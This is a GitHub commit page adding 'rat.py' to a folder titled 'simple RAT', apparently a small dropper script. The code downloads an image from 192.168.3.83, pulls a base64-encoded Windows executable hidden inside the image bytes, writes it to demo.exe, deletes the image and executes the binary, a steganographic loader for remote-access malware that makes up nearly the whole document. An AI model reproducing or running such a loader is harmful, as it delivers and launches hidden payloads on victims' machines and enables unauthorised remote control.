Skip to content

Commit 84939e0

Browse files
authored
Add files via upload
1 parent 8c0224b commit 84939e0

File tree

2 files changed

+43
-0
lines changed

2 files changed

+43
-0
lines changed

简单的RAT/rat.py

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#author:九世
2+
#time:2019/4/20
3+
4+
import asyncio
5+
import requests
6+
import re
7+
import base64
8+
import os
9+
10+
async def demo():
11+
url = 'http://192.168.3.83/timg.jpg'
12+
rqt=requests.get(url=url)
13+
with open('xxx.jpg','wb') as r:
14+
r.write(rqt.content)
15+
16+
def zx():
17+
dq=open('xxx.jpg','rb')
18+
zg=str(dq.read()).replace("b'",'').replace("'",'')
19+
pp=re.findall('TVq.*',zg)
20+
zh=base64.b64decode(pp[0])
21+
with open('demo.exe','wb') as w:
22+
w.write(zh)
23+
os.remove('xxx.jpg')
24+
os.system('demo.exe')
25+
26+
def pd():
27+
j='xxx.jpg'
28+
if os.path.exists(j):
29+
file=os.path.getsize(j)
30+
if file==7985376:
31+
zx()
32+
else:
33+
exit()
34+
35+
async def main():
36+
thead=[]
37+
thead.append(asyncio.ensure_future(demo()))
38+
await asyncio.wait(thead)
39+
if __name__ == '__main__':
40+
loop=asyncio.get_event_loop()
41+
loop.run_until_complete(main())
42+
loop.close()
43+
pd()

简单的RAT/结果.gif

3.54 MB
Loading

0 commit comments

Comments
 (0)